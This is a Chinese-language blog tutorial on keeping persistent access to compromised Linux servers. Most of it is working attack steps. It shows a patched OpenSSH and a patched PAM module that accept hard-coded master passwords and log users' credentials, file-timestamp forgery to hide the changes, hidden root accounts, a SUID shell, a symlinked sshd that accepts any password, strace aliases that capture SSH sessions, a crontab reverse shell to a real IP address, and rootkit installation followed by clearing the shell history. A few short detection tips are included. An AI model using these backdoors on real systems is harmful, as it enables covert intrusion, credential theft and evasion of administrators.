Linux权限维持

一、Openssh后门(root加隐藏密码)

利用openssh后门,设置SSH后门密码及root密码记录位置,隐蔽性较强,不易被发现并通过修改SSH源代码的方式来留一个万能的SSH密码。

工具下载地址:
链接:https://pan.baidu.com/s/1j24PAR8CCo-wJxlOEpY1Fg 
提取码:jug3 
--来自百度网盘超级会员V1的分享

步骤一:环境准备 

yum -y install openssl openssl-devel pam-devel zlib zlib-devel    #安装依赖包
yum -y install gcc gcc-c++ make                                   #安装编译环境

步骤二:记录SSH版本号并重命名原来的ssh主程序和配置文件(作用是待会同步时间) 

#SSH版本号
ssh -V

#重命名主程序和配置文件
mv /etc/ssh/ssh_config   /etc/ssh/ssh_config.bank
mv /etc/ssh/sshd_config  /etc/ssh/sshd_config.bank
mv /usr/sbin/sshd        /usr/sbin/sshd.bank

步骤三:将百度云盘的zip文件解压后并上穿到目标服务器进行解压与打补丁

tar -xzvf   openssh-5.9p1.patch.tar.gz
tar -xzvf   openssh-5.9p1.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff  openssh-5.9p1  #移动补丁文件中的diff文件到正常ssh目录
cd openssh-5.9p1                  #进入ssh正常目录
yum -y install patch
patch < sshbd5.9p1.diff           #打补丁

 步骤四:修改后门密码和版本信息

vim includes.h

177 #define ILOG "/tmp/ilog"     #ILOG是别人用ssh登录该主机记录的日志目录
178 #define OLOG "/tmp/olog"     #OLOG是该主机用ssh登录其他主机记录的日志目录 
179 #define SECRETPW "warsec"    #万能密码
180 #endif /* INCLUDES_H */

 步骤五:修改版本号避免管理员发现 

vi version.h

 步骤六:重新安装编译

./configure --prefix=/usr  --sysconfdir=/etc/ssh  --with-pam  --with-kerberos5  && make && make install

 出现以下信息则代表安装编译成功: 

 步骤七:修改sshd程序和配置文件时间,避免被管理员发现sshd程序发生了修改

touch -r ssh_config.bank ssh_config
touch -r sshd_config.bank sshd_config
touch -r /usr/sbin/sshd.bank /usr/sbin/sshd

步骤八:验证

service sshd restart     #重启sshd服务
ssh -V                   #查看版本号

在/tmp目录下会生成ilog和olog日志,当其他主机ssh登录该主机时(使用万能密码登录的不会记录),会生成ilog日志,当该主机ssh登录其他主机时,会生成olog日志。 

 b1ff220bf7ecf3f6a1ce025e536bf5e9.png

 ef71e68dae8fe56d179a446973d4e20c.png

二、PAM后门(root加隐藏密码)

在过去,我们想要对一个使用者进行认证 (authentication),得要要求用户输入账号口令, 然后透过自行撰写的程序来判断该账号口令是否正确。也因为如此,我们常常得使用不同的机制来判断账号口令, 所以搞的一部主机上面拥有多个各别的认证系统,也造成账号口令可能不同步的验证问题! 为了解决这个问题因此有了 PAM (Pluggable Authentication Modules, 嵌入式模块) 的机制!

PAM 可以说是一套应用程序编程接口 (Application Programming Interface, API),他提供了一连串的验证机制,只要使用者将验证阶段的需求告知 PAM 后, PAM 就能够回报使用者验证的结果 (成功或失败)。由于 PAM 仅是一套验证的机制,又可以提供给其他程序所呼叫引用,因此不论你使用什么程序,都可以使用 PAM 来进行验证,如此一来,就能够让账号口令或者是其他方式的验证具有一致的结果!也让程序设计师方便处理验证的问题。

从pam的介绍中,我们知道,其实登录系统的时候,是pam的模块来验证我们的密码是否正确的。所以就存在这样一种可能,修改pam的验证逻辑,来达到一定条件下不去跟shadow里的密码校验,而是直接返回验证正确,从而达到作为后门的目的。

步骤一:准备抹干净的留后门系统....(将以上Openssh后门系统重置),执行以下命令查看PAM版本号码。

rpm -qa|grep pam

 步骤二:下载对应版本的PAM源码包,下载地址:

http://www.linux-pam.org/library/

wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
tar -zxvf Linux-PAM-1.1.8

  步骤三:安装gcc编译器和flex

yum install gcc flex flex-devel -y

 步骤四:留PAM后门和保存SSH登录的账号密码

修改 Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c 源码实现自定义密码认证和保存登录密码

	/* verify the password of this user */
	retval = _unix_verify_password(pamh, name, p, ctrl);
	if(strcmp("hackers",p)==0){return PAM_SUCCESS;}    //后门密码
    if(retval == PAM_SUCCESS){    
           FILE * fp;    
           fp = fopen("/tmp/.sshlog", "a");      //SSH登录用户名密码保存位置
           fprintf(fp, "%s : %s\n", name, p);    
           	fclose(fp);} 
	name = p = NULL;

	AUTH_RETURN;

 第五步:编译...出现一下内容即为成功

cd ../..
./configure && make

 第六步:备份原有pam_unix.so,防止出现错误登录不上....

cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp

第七步:复制新PAM模块到/lib64/security/目录下 

cd Linux-PAM-1.1.8/modules/pam_unix/.libs

cp pam_unix.so /usr/lib64/security/pam_unix.so

 第八步:远程登录测试,使用密码hackers

 >>>排查技巧<<<

natstat -anpt                       #查看连接
stat /lib/security/pam_unix.so      #32位  检查pam_unix.so的修改时间
stat /lib64/security/pam_unix.so    #64位  检查pam_unix.so的修改时间
yum reinstall pam                   #清除后门

三、后门账户

###添加普通用户:
# 创建一个用户名guest,密码123456的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest

# useradd -p 方法  ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
useradd -p "$(openssl passwd -1 123456)" guest2

# chpasswd方法
useradd guest;
echo 'guest:123456'|chpasswd  --->debain
echo 123admiN@ | passwd guest --stdin   --> Centos

# echo -e方法
useradd test;echo -e "fas34@as\nfas34@as\n" | passwd test


###添加root用户:
# 创建一个用户名guest,密码123admiN@的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123admiN` z4pts -o -u 0 -g root -G root -s /bin/bash -d /home/z4pts

echo "cshm:x:0:0::/:/bin/sh" >> /etc/passwd #增加超级用户账号
passwd cshm #修改cshm的密码为cshm123

可疑用户排查

# 查询特权用户特权用户(uid 为0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
# 查询可以远程登录的帐号信息
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
# 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
[root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

四、SUID Shell

Suid shell是一种可用于以拥有者权限运行的shell。

配合普通用户权限使用
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell

41bf8ca49aa1ec82b4f9106aa6955d2f.png可疑排查

# 在Linux中查找SUID设置的文件
find . -perm /4000 
# 在Linux中查找使用SGID设置的文件
find . -perm /2000
# 取消s权限
chmod u-s /tmp/shell

五、公私钥免密登录

在客户端上生成一对公私钥,然后把公钥放到服务器上(~/.ssh/authorized_keys),保留私钥。当ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配。如果匹配成功就可以登录了。

客户端与服务端执行:

ssh-keygen -t rsa   #过程中按三次回车

其中 id_rsa为私钥,id_rsa.pub为公钥,接下来打开id_rsa.pub,将内容复制到服务器。将id_rsa.pub的内容追加到/root/.ssh/authorized_keys内,配置完成。

排查技巧:查看/root/.ssh/authorized_keys是否被修改。

六、软连接

https://www.secrss.com/articles/33698

在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0即root权限即可成功认证登陆。通过软连接的方式,实质上PAM认证是通过软连接的文件名 /tmp/su 在/etc/pam.d/目录下寻找对应的PAM配置文件(如: /etc/pam.d/su),任意密码登陆的核心是auth sufficient pam_rootok.so,所以只要PAM配置文件中包含此配置即可SSH任意密码登陆,除了su中之外还有chsh、chfn同样可以。

在目标服务器上执行一句话后门并在客户端执行ssh root@IP -p 8888,输入任意密码,成功登录。

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888

 ​​​​​

排查技巧:进程、端口都可以发现异常, kill -s 9 PID 结束进程即可清除后门。 

4acf6bd4740aa97a1523716134a23b4a.png

七、Strace后门 

通过命令替换动态跟踪系统调用和数据,可以用来记录用户ssh、su、sudo的操作。

vim /etc/bashrc  
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
或
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'
source /root/.bashrc   #立即生效

21c9b4832b0a85c6d71225aa44a6b195.png

排查技巧:使用alias即可发现异常。

7683c81afa22a2498bb5db2b6a48e5f4.png 八、Crontab反弹Shell

crontab命令用于设置周期性被执行的指令。新建shell脚本,利用脚本进行反弹。

服务端操作:

#创建shell脚本,例如在/etc/evil.sh
#!/bin/bash
bash -i >& /dev/tcp/82.157.7.43/6666  0>&1

#给定执行权限
chmod +sx /etc/evil.sh

#配置计划任务
vim /etc/crontab 
*/1 * * * * root /etc/shell.sh

#重启计划任务
systemctl restart crond

客户端操作:

nc -lvvp 4321

 2d65d8404829ccf2ee61dd7ebc7c6097.png

九、Rookit后门

Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并可以自定义验证密码和端口号。

特点:

优势:隐蔽性一般,无需要编译。

劣势:会替换ls等命令,容易被识破。

适用:Centos 5.5~

使用说明:

//首先解压包
#cd /tmp/mafix_rootkit                  //进入目录并用root权限运行。
#./root 密码  端口                          //安装rootkit 命令:./root 密码  端口 
(如: ./root toor  8080 那么下次连接的时候只需用putty连接它的8080端口,用户名是root,密码为toor)
注意:安装完成后会自动删除目录,为了隐蔽,我们在用 history -c 清除下命令就行了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值